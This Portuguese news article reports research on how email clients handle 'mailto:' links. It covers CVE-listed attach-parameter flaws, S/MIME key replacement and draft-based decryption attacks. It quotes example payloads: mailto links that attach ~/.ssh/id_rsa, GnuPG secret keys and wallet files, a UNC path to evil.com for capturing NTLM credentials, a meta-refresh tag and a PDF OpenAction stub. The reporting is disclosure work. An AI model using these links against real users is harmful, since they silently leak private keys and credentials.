Pesquisadores da Universidade Ruhr em Bochum (Alemanha) () comportamento dos clientes de e-mail ao processar links "mailto:" com parâmetros estendidos. Cinco dos vinte clientes de e-mail analisados mostraram-se vulneráveis a um ataque que manipula a substituição de recursos através do parâmetro "attach". Outros seis clientes de e-mail estavam sujeitos a ataques de substituição de chaves PGP e S/MIME, enquanto três clientes eram vulneráveis a ataques de extração de conteúdo de mensagens criptografadas.
Links "" são utilizados para automatizar a abertura do cliente de e-mail com o objetivo de redigir uma mensagem para o destinatário especificado no link. Além do endereço contido no link, outros parâmetros, como o assunto do e-mail e um modelo de conteúdo padrão, podem ser especificados. O ataque proposto manipula o parâmetro "attach", que permite anexar um arquivo à mensagem a ser criada.
Os clientes de e-mail Thunderbird, GNOME Evolution (CVE-2020-11879), KDE KMail (CVE-2020-11880), IBM/HCL Notes (CVE-2020-4089) e Pegasus Mail foram identificados como vulneráveis a um ataque trivial que permite anexar automaticamente qualquer arquivo local especificado através de um link do tipo "mailto:?attach=caminho_para_o_arquivo". O arquivo é anexado sem aviso, portanto, o usuário pode não perceber que a mensagem será enviada com o anexo.
Por exemplo, através de um link do tipo "mailto:?to=user@example.com&subject=Título&body=Texto&attach=~/.gnupg/secring.gpg" é possível inserir chaves privadas do GnuPG na mensagem. Também é possível enviar o conteúdo de carteiras criptográficas (~/.bitcoin/wallet.dat), chaves SSH (~/.ssh/id_rsa) e quaisquer arquivos acessíveis ao usuário. Além disso, o Thunderbird permite anexar grupos de arquivos por máscara utilizando construções do tipo "attach=/tmp/*.txt".
Além de arquivos locais, alguns clientes de e-mail processam links para armazenamentos em rede e caminhos em servidores IMAP. Em particular, o IBM Notes permite a transferência de um arquivo de um diretório de rede ao processar links do tipo "attach=\\evil.com\dummyfile", assim como interceptar os parâmetros de autenticação NTLM ao direcionar um link para um servidor SMB controlado pelo atacante (a solicitação será enviada com os parâmetros atuais de autenticação do usuário).
O Thunderbird processa com sucesso solicitações como «attach=imap://fetch>UID>/INBOX>1/», que permitem anexar conteúdo de pastas em um servidor IMAP. Ao mesmo tempo, os e-mails extraídos do IMAP, criptografados via OpenPGP e S/MIME, são automaticamente descriptografados pelo cliente de e-mail antes do envio. Os desenvolvedores do Thunderbird foram sobre o problema em fevereiro e na versão o problema já foi resolvido (as versões Thunderbird 52, 60 e 68 permanecem vulneráveis).
Versões antigas do Thunderbird também se mostraram vulneráveis a outras duas variantes de ataque ao PGP e S/MIME, propostas por pesquisadores. Em particular, o ataque de substituição de chaves foi aplicável ao Thunderbird, assim como ao OutLook, PostBox, eM Client, MailMate e R2Mail2, causado pelo fato de o cliente de e-mail importar automaticamente e instalar novos certificados enviados em mensagens S/MIME, permitindo que um atacante substitua as chaves públicas já salvas pelo usuário.
O segundo ataque, que afeta Thunderbird, PostBox e MailMate, manipula as características do mecanismo de salvamento automático de rascunhos de mensagens e permite, por meio de parâmetros mailto, iniciar a descriptografia de mensagens criptografadas ou adicionar uma assinatura digital a mensagens arbitrárias, com a posterior transmissão do resultado para o servidor IMAP do atacante. O texto cifrado neste ataque é enviado através do parâmetro «body», e o tag «meta refresh» é usado para iniciar a chamada ao servidor IMAP do atacante. Por exemplo: ‘<meta http-equiv=»refresh» content=»60; URL=mailto:?body=——BEGIN PGP MESSAGE——[…]——END PGP MESSAGE——«>’
Documentos PDF especialmente formatados podem ser usados para o processamento automático de links «mailto:» sem a intervenção do usuário — a ação OpenAction em PDF permite iniciar automaticamente o manipulador mailto ao abrir o documento:
%PDF-1.5
1 0 obj
<< /Type /Catalog /OpenAction [2 0 R] >>
endobj
2 0 obj
<< /Type /Action /S /URI/URI (mailto:?body=——BEGIN PGP MESSAGE——[…])>>
endobj
Fonte: opennet.ru
